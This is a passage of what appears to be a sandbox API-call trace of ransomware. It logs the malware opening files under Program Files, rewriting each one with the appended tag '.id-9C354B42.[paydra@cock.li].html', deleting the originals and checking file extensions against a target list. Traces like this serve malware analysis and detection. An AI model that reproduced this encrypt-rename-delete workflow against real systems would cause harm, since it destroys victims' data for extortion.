Maker\\Shared\\DvdStyles\\Performance\\Title_Page_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\title_page_pal.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Page_PAL.wmv.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\title_page_pal.wmv.id-9c354b42.[paydra@cock.li].html")) returned 0 [0049.900] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Page_PAL.wmv") returned 74 [0049.900] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Page_PAL.wmv") returned 74 [0049.900] lstrlenW (lpString=".doc") returned 4 [0049.900] lstrcmpiW (lpString1=".doc", lpString2=".wmv") returned -1 [0049.900] lstrlenW (lpString=".docx") returned 5 [0049.900] lstrcmpiW (lpString1=".docx", lpString2="L.wmv") returned -1 [0049.900] lstrlenW (lpString=".pdf") returned 4 [0049.900] lstrcmpiW (lpString1=".pdf", lpString2=".wmv") returned -1 [0049.900] lstrlenW (lpString=".xls") returned 4 [0049.900] lstrcmpiW (lpString1=".xls", lpString2=".wmv") returned 1 [0049.900] lstrlenW (lpString=".xlsx") returned 5 [0049.900] lstrcmpiW (lpString1=".xlsx", lpString2="L.wmv") returned -1 [0049.900] lstrlenW (lpString=".ppt") returned 4 [0049.900] lstrcmpiW (lpString1=".ppt", lpString2=".wmv") returned -1 [0049.900] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Page_PAL.wmv") returned 74 [0049.900] lstrlenW (lpString=".zip") returned 4 [0049.900] lstrcmpiW (lpString1=".zip", lpString2=".wmv") returned 1 [0049.900] lstrlenW (lpString=".rar") returned 4 [0049.900] lstrcmpiW (lpString1=".rar", lpString2=".wmv") returned -1 [0049.901] lstrlenW (lpString=".bz2") returned 4 [0049.901] lstrcmpiW (lpString1=".bz2", lpString2=".wmv") returned -1 [0049.901] lstrlenW (lpString=".7z") returned 3 [0049.901] lstrcmpiW (lpString1=".7z", lpString2="wmv") returned -1 [0049.901] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Page_PAL.wmv") returned 74 [0049.901] lstrlenW (lpString=".dbf") returned 4 [0049.901] lstrcmpiW (lpString1=".dbf", lpString2=".wmv") returned -1 [0049.901] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Page_PAL.wmv") returned 74 [0049.901] lstrlenW (lpString=".1cd") returned 4 [0049.901] lstrcmpiW (lpString1=".1cd", lpString2=".wmv") returned -1 [0049.901] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Page_PAL.wmv") returned 74 [0049.901] lstrlenW (lpString=".jpg") returned 4 [0049.901] lstrcmpiW (lpString1=".jpg", lpString2=".wmv") returned -1 [0051.994] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.994] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.995] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00004_.GIF.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00004_.gif.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0051.995] GetLastError () returned 0x0 [0051.995] ReadFile (in: hFile=0x17c, lpBuffer=0x3740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesRead=0x2c5fed4*=0x2340, lpOverlapped=0x0) returned 1 [0051.996] WriteFile (in: hFile=0x208, lpBuffer=0x3740020*, nNumberOfBytesToWrite=0x2350, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesWritten=0x2c5fc9c*=0x2350, lpOverlapped=0x0) returned 1 [0051.997] ReadFile (in: hFile=0x17c, lpBuffer=0x3740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesRead=0x2c5fed4*=0x0, lpOverlapped=0x0) returned 1 [0051.997] WriteFile (in: hFile=0x208, lpBuffer=0x3740020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesWritten=0x2c5fc9c*=0xec, lpOverlapped=0x0) returned 1 [0051.997] SetEndOfFile (hFile=0x208) returned 1 [0051.998] CloseHandle (hObject=0x208) returned 1 [0051.998] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.998] SetEndOfFile (hFile=0x17c) returned 1 [0051.998] CloseHandle (hObject=0x17c) returned 1 [0051.999] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00004_.GIF.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0051.999] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00004_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00004_.gif")) returned 1 [0051.999] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00004_.GIF") returned 63 [0051.999] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00004_.GIF") returned 63 [0051.999] lstrlenW (lpString=".doc") returned 4 [0051.999] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0051.999] lstrlenW (lpString=".docx") returned 5 [0051.999] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0051.999] lstrlenW (lpString=".pdf") returned 4 [0051.999] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0051.999] lstrlenW (lpString=".xls") returned 4 [0051.999] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0051.999] lstrlenW (lpString=".xlsx") returned 5 [0051.999] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0051.999] lstrlenW (lpString=".ppt") returned 4 [0051.999] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0051.999] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00004_.GIF") returned 63 [0051.999] lstrlenW (lpString=".zip") returned 4 [0051.999] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0051.999] lstrlenW (lpString=".rar") returned 4 [0051.999] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0051.999] lstrlenW (lpString=".bz2") returned 4 [0051.999] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0051.999] lstrlenW (lpString=".7z") returned 3 [0052.000] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0052.000] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00004_.GIF") returned 63 [0052.000] lstrlenW (lpString=".dbf") returned 4 [0052.000] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0052.000] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00004_.GIF") returned 63 [0052.000] lstrlenW (lpString=".1cd") returned 4 [0052.000] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0052.000] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00004_.GIF") returned 63 [0052.000] lstrlenW (lpString=".jpg") returned 4 [0052.000] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0052.000] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x2c5ff1c | out: lpFileSize=0x2c5ff1c*=15308) returned 1 [0052.000] CloseHandle (hObject=0x17c) returned 1 [0052.000] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00142_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00142_.gif")) returned 0x20 [0052.000] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00142_.GIF.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00142_.gif.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0052.000] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00142_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00142_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0052.000] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.001] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.001] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00142_.GIF.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00142_.gif.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0052.001] GetLastError () returned 0x0 [0052.001] ReadFile (in: hFile=0x17c, lpBuffer=0x3740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesRead=0x2c5fed4*=0x3bcc, lpOverlapped=0x0) returned 1 [0052.002] WriteFile (in: hFile=0x208, lpBuffer=0x3740020*, nNumberOfBytesToWrite=0x3bd0, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesWritten=0x2c5fc9c*=0x3bd0, lpOverlapped=0x0) returned 1 [0052.003] ReadFile (in: hFile=0x17c, lpBuffer=0x3740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesRead=0x2c5fed4*=0x0, lpOverlapped=0x0) returned 1 [0052.003] WriteFile (in: hFile=0x208, lpBuffer=0x3740020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesWritten=0x2c5fc9c*=0xec, lpOverlapped=0x0) returned 1 [0052.003] SetEndOfFile (hFile=0x208) returned 1 [0052.004] CloseHandle (hObject=0x208) returned 1 [0052.004] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.004] SetEndOfFile (hFile=0x17c) returned 1 [0052.004] CloseHandle (hObject=0x17c) returned 1 [0052.005] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00142_.GIF.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0052.005] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00142_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00142_.gif")) returned 1 [0052.005] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00142_.GIF") returned 63 [0052.005] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00142_.GIF") returned 63 [0052.005] lstrlenW (lpString=".doc") returned 4 [0052.005] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0052.005] lstrlenW (lpString=".docx") returned 5 [0052.005] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0052.005] lstrlenW (lpString=".pdf") returned 4 [0052.005] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0052.005] lstrlenW (lpString=".xls") returned 4 [0052.005] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0052.005] lstrlenW (lpString=".xlsx") returned 5 [0052.005] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0052.005] lstrlenW (lpString=".ppt") returned 4 [0052.005] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0052.005] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00142_.GIF") returned 63 [0052.005] lstrlenW (lpString=".zip") returned 4 [0052.005] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0052.005] lstrlenW (lpString=".rar") returned 4 [0052.005] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0052.005] lstrlenW (lpString=".bz2") returned 4 [0052.005] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0052.006] lstrlenW (lpString=".7z") returned 3 [0052.006] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0052.006] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00142_.GIF") returned 63 [0052.006] lstrlenW (lpString=".dbf") returned 4 [0052.006] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0052.006] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00142_.GIF") returned 63 [0052.006] lstrlenW (lpString=".1cd") returned 4 [0052.006] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0052.006] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00142_.GIF") returned 63 [0052.006] lstrlenW (lpString=".jpg") returned 4 [0052.006] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0052.006] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x2c5ff1c | out: lpFileSize=0x2c5ff1c*=5315) returned 1 [0052.006] CloseHandle (hObject=0x17c) returned 1 [0052.006] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00154_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00154_.gif")) returned 0x20 [0052.006] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00154_.GIF.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00154_.gif.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0052.006] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00154_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00154_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0052.006] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.006] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.007] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00154_.GIF.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00154_.gif.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0052.007] GetLastError () returned 0x0 [0052.007] ReadFile (in: hFile=0x17c, lpBuffer=0x3740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesRead=0x2c5fed4*=0x14c3, lpOverlapped=0x0) returned 1 [0052.008] WriteFile (in: hFile=0x208, lpBuffer=0x3740020*, nNumberOfBytesToWrite=0x14d0, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesWritten=0x2c5fc9c*=0x14d0, lpOverlapped=0x0) returned 1 [0052.009] ReadFile (in: hFile=0x17c, lpBuffer=0x3740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesRead=0x2c5fed4*=0x0, lpOverlapped=0x0) returned 1 [0052.009] WriteFile (in: hFile=0x208, lpBuffer=0x3740020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesWritten=0x2c5fc9c*=0xec, lpOverlapped=0x0) returned 1 [0052.009] SetEndOfFile (hFile=0x208) returned 1 [0052.009] CloseHandle (hObject=0x208) returned 1 [0052.010] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.010] SetEndOfFile (hFile=0x17c) returned 1 [0052.010] CloseHandle (hObject=0x17c) returned 1 [0052.010] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00154_.GIF.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0052.011] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00154_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00154_.gif")) returned 1 [0052.011] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00154_.GIF") returned 63 [0052.011] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00154_.GIF") returned 63 [0052.011] lstrlenW (lpString=".doc") returned 4 [0052.011] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0052.011] lstrlenW (lpString=".docx") returned 5 [0052.011] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0052.011] lstrlenW (lpString=".pdf") returned 4 [0052.011] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0052.011] lstrlenW (lpString=".xls") returned 4 [0052.011] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0052.011] lstrlenW (lpString=".xlsx") returned 5 [0052.011] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0052.011] lstrlenW (lpString=".ppt") returned 4 [0052.011] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0052.011] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00154_.GIF") returned 63 [0052.011] lstrlenW (lpString=".zip") returned 4 [0052.011] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0052.011] lstrlenW (lpString=".rar") returned 4 [0052.011] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0052.011] lstrlenW (lpString=".bz2") returned 4 [0052.011] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0052.011] lstrlenW (lpString=".7z") returned 3 [0052.011] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0052.011] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00154_.GIF") returned 63 [0052.011] lstrlenW (lpString=".dbf") returned 4 [0052.011] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0052.011] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00154_.GIF") returned 63 [0052.011] lstrlenW (lpString=".1cd") returned 4 [0052.012] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0052.012] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00154_.GIF") returned 63 [0052.012] lstrlenW (lpString=".jpg") returned 4 [0052.012] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0052.012] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x2c5ff1c | out: lpFileSize=0x2c5ff1c*=4955) returned 1 [0052.012] CloseHandle (hObject=0x17c) returned 1 [0052.012] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00157_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00157_.gif")) returned 0x20 [0052.012] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00157_.GIF.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00157_.gif.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0052.012] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00157_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00157_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0052.012] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.012] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.012] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00157_.GIF.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00157_.gif.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0052.013] GetLastError () returned 0x0 [0052.013] ReadFile (in: hFile=0x17c, lpBuffer=0x3740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesRead=0x2c5fed4*=0x135b, lpOverlapped=0x0) returned 1 [0052.014] WriteFile (in: hFile=0x208, lpBuffer=0x3740020*, nNumberOfBytesToWrite=0x1360, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesWritten=0x2c5fc9c*=0x1360, lpOverlapped=0x0) returned 1 [0052.015] ReadFile (in: hFile=0x17c, lpBuffer=0x3740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesRead=0x2c5fed4*=0x0, lpOverlapped=0x0) returned 1 [0052.015] WriteFile (in: hFile=0x208, lpBuffer=0x3740020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesWritten=0x2c5fc9c*=0xec, lpOverlapped=0x0) returned 1 [0052.015] SetEndOfFile (hFile=0x208) returned 1 [0052.015] CloseHandle (hObject=0x208) returned 1 [0052.015] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.015] SetEndOfFile (hFile=0x17c) returned 1 [0052.016] CloseHandle (hObject=0x17c) returned 1 [0052.016] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00157_.GIF.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0052.016] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00157_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00157_.gif")) returned 1 [0052.016] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00157_.GIF") returned 63 [0052.016] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00157_.GIF") returned 63 [0052.016] lstrlenW (lpString=".doc") returned 4 [0052.016] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0052.017] lstrlenW (lpString=".docx") returned 5 [0052.017] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0052.017] lstrlenW (lpString=".pdf") returned 4 [0052.017] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0052.017] lstrlenW (lpString=".xls") returned 4 [0052.017] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0052.017] lstrlenW (lpString=".xlsx") returned 5 [0052.017] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0052.017] lstrlenW (lpString=".ppt") returned 4 [0052.017] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0052.017] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00157_.GIF") returned 63 [0052.017] lstrlenW (lpString=".zip") returned 4 [0052.017] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0052.017] lstrlenW (lpString=".rar") returned 4 [0052.017] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0052.017] lstrlenW (lpString=".bz2") returned 4 [0052.017] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0052.017] lstrlenW (lpString=".7z") returned 3 [0052.017] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0052.017] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00157_.GIF") returned 63 [0052.017] lstrlenW (lpString=".dbf") returned 4 [0052.017] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0052.017] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00157_.GIF") returned 63 [0052.017] lstrlenW (lpString=".1cd") returned 4 [0052.017] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0052.017] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00157_.GIF") returned 63 [0052.017] lstrlenW (lpString=".jpg") returned 4 [0052.017] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0052.018] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x2c5ff1c | out: lpFileSize=0x2c5ff1c*=5030) returned 1 [0052.018] CloseHandle (hObject=0x17c) returned 1 [0052.018] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00158_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00158_.gif")) returned 0x20 [0052.018] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00158_.GIF.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00158_.gif.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0052.018] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00158_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00158_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0052.018] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.018] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.018] CreateFileW (lpFileName="C:\\Program Files\\Microsoft 